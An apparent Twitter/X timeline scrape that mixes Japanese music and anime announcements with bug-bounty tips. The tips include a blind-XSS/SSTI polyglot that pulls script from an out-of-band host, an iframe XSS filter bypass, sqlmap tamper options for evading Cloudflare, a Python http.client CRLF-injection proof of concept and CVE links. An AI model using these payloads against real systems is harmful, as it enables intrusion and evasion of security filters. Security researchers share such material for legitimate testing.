Phạm Hải Vũ

Middle pentester, OSCP

[Phạm Hải Vũ @Vuph_24]

@AmazonHelp @annamolly_4 @AmazonHelp My account was closed after a legitimate order paid with the balance of a verified bug bounty reward gift card (from Kentico). I've only received automated template replies from Support and Executive Relations, no human review. Can someone please help?

[Team RΛZΞR @TeamRazer]

FAKER IS FOREVER!

6 titles, 3 in a row, 1 legacy to stand the test of time.

Congratulations to the undisputed Greatest of All Time!

[Yamaha Guitar Japan @yamahaguitar_jp]

／
ぼっちちゃん
#PACIFICA 購入御礼🎸
＼

作中に登場するPACIFICA611をモデルに制作した
「後藤ひとりのPACIFICA」※非売品
2名にプレゼント🎁

■応募方法
1⃣@BTR_animeとこのアカウントをフォロー
2⃣本ツイートをRT

応募規約・詳細は ⬇️
https://t.co/zMw9JZFrfo

#ぼっち・ざ・ろっく
#Yamaha

[THE FIRST TAKE @The_FirstTake]

ー

THE FIRST TAKE MUSIC
2ND
COLLABORATION

ー

#milet (@milet_music )
#Aimer (@Aimer_and_staff )
#幾田りら (@ikutalilas )

COMMING SOON...

[Ambionics Security @ambionics]

Read the details about #CVE-2021-21703 on our Ambionics' blog, a 10 year-old Local Root vulnerability affecting PHP-FPM, #PHP FastCGI's server. PHP-FPM is often used with major HTTPd servers such as #NGINX and #Apache.
https://t.co/nwKmsUoNsT

[ch @chybeta]

CVE-2020-29448 Pre-Authorization Limited Arbitrary File Read in Confluence Server

https://t.co/SBE9HB5ids

https://t.co/ZvgqLpqEHj

https://t.co/Ae8gOqmkH0

[bsysop @bsysop]

Add a SSTI payload to your Blind XSS payload, if you are lucky, you have a visual internal SSTI in a critical endpoint.

${{48*53}}`'";--><sCRIpt sRc=//your.oob></sCRIpt>

#BugBountyTips #BugBounty

[「Fate/Grand Carnival」【公式】OVA 1st&2nd Season絶賛発売中！ @FGOAP_FGC]

カーニバル、はじまるよ❗️

【期間限定】#グラカニ 召喚 1st Season開催🎉

@FGOAP_FGC と「#グラカニ召喚1st」をツイートで6/2(水)発売「Fate/Grand Carnival」1st Seasonの登場キャラクターを召喚するにゃ🐾
https://t.co/u4yNdYPOk1

#FGO

⬇️のボタンよりツイートすると、返信で召喚動画をお届け📩

[ヨルシカ（n-buna、suis） / Official @nbuna_staff]

ヨルシカ LIVE TOUR 2021「盗作」
開催します。

8/1：札幌
8/3：仙台
8/25：名古屋
9/7、8：大阪
9/26：福岡
10/1、2：東京

詳細は特設サイトにてご確認ください。
感染拡大防止対策ガイドラインもサイトに記載しております。
必ずお読みください。

#ヨルシカ_ライブ盗作

https://t.co/NkcVsvfEIx

[Tuan Anh Nguyen⚡️ 🇻🇳 @haxor31337]

You can bypass SQLi on Cloudflare by use mix tamper sqlmap space2comment,between,randomcase
#bugbountytips

[XSS Payloads @XssPayloads]

A payload that works, surprisingly. Used to bypass filter. By @SSkylinearafat
<iframe/onload=aaajavascipt:alert(1)>

[ヨルシカ（n-buna、suis） / Official @nbuna_staff]

お知らせは以上です。

１月に開催したヨルシカ初の配信ライブ『前世』、商品化の声をたくさんいただきました。

水族館の大型水槽を背景にした美しいライティングによる幻想的な空間、弦カルテットを加えたアコースティック編成による全17曲を収録。

楽しみにお待ちください。
宜しくお願いします！

[N B Sri Harsha @nbsriharsha]

Recently I have found an RCE via file upload thorough path traversal in tomcat server. Found that tomcat automatically deploys war when uploaded in webapps folder.

https://t.co/RiMIwEpIHd

[Prial @0xPrial]

Brute-forcing Facebook Login Credentials 😇
3500$ was paid for this but I was little late 🥲

#BugBounty
#bugbountytips

https://t.co/HiWybrNhrE

[THE FIRST TAKE @The_FirstTake]

⠀ THE FIRST TAKE
⠀ ⠀ ⠀ OUT AT ⠀

⠀ "FRIDAY"
⠀ ⠀ ⠀ 22:00

▶︎ https://t.co/xVntU2Qokq

・
@yasudarei
@H_ZETTRIO
@H_ZETT_M
・
#THEFIRSTTAKE

[Yojiro Noda @YojiNoda1]

March comes in like a lion,
and goes out like a lamb.

[ch @chybeta]

CVE-2021-25646 Apache Druid Remote Code Execution.

analysis: https://t.co/DvKXfPbe8i

https://t.co/UI3pE9Wy5E
https://t.co/qh2apDPIVS

[ch @chybeta]

CVE-2020-26116 http.client in Python3 CRLF injection
poc:
>>> conn.request(method="GET / HTTP/1.1\r\nHost: abc\r\nRemainder:", url="/index.html")

patch:
https://t.co/WPLZ52zp9Y
_contains_disallowed_method_pchar_re = re.compile('[\x00-\x1f]')
....
self._validate_method(method)